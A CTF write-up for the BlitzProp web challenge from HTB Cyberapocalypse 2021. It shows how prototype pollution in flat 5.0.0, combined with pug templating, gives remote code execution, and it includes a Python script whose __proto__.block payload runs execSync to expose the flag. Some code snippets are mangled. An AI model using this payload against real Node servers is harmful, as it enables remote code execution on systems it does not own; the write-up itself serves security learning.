Skip to main content

BlitzProp - Cyberapocalypse 2021 CTF

· 3 min read

This is a writeup for the BlitzProp challenge, part of the Hack the box's Cyberapocalypse CTF 2021, category Web.


A tribute page for the legendary alien band called BlitzProp!


We're provided with the source code for a cute webpage, which allows us to vote for some song names using an input field.

By looking at the song names we're supposed to vote for, we could potentially notice some hints like Polluting and AST.

The site seems to be running on a node environment with an express server, so we can check out the routes handling file.

const path              = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();

router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});'/api/submit', (req, res) => {
const { song } = unflatten(req.body);


if ('Not Polluting with the boys') ||'ASTa la vista baby') ||'The Galactic Rhymes') ||'The Goose went wild')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
} else {
return res.json({
'response': 'Please provide us with the name of an existing song.'

module.exports = router;

Looking closely, we see that the /api/submit POST endpoint uses a module called flat to unflatten a request body into json. The code also uses pug for templating.

We can check the versions of these libraries in the package.json file.

"dependencies": {
"express": "^4.17.1",
"flat": "5.0.0",
"pug": "^3.0.0"

The version of flat used seems to be vulnerable to prototype pollution, and we can find information on the payloads we can use here, finding an example exploiting pug.


By having the exploit at hand, we can write a simple script which will send a POST request with the required in the data, as well as with our payload.

The payload itself will allow us to do Remote Code Execution. More to the point, we will cat the flag file into the publically available /static/js folder, so we can navigate to it after the pollution exploit.

import requests


# make pollution + '/api/submit', json = {
"":"The Goose went wild",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('cat flag* > static/js/main.js')"
# execute

Now that we have executed our command, we simply go ahead and curl that flag file, and find our flag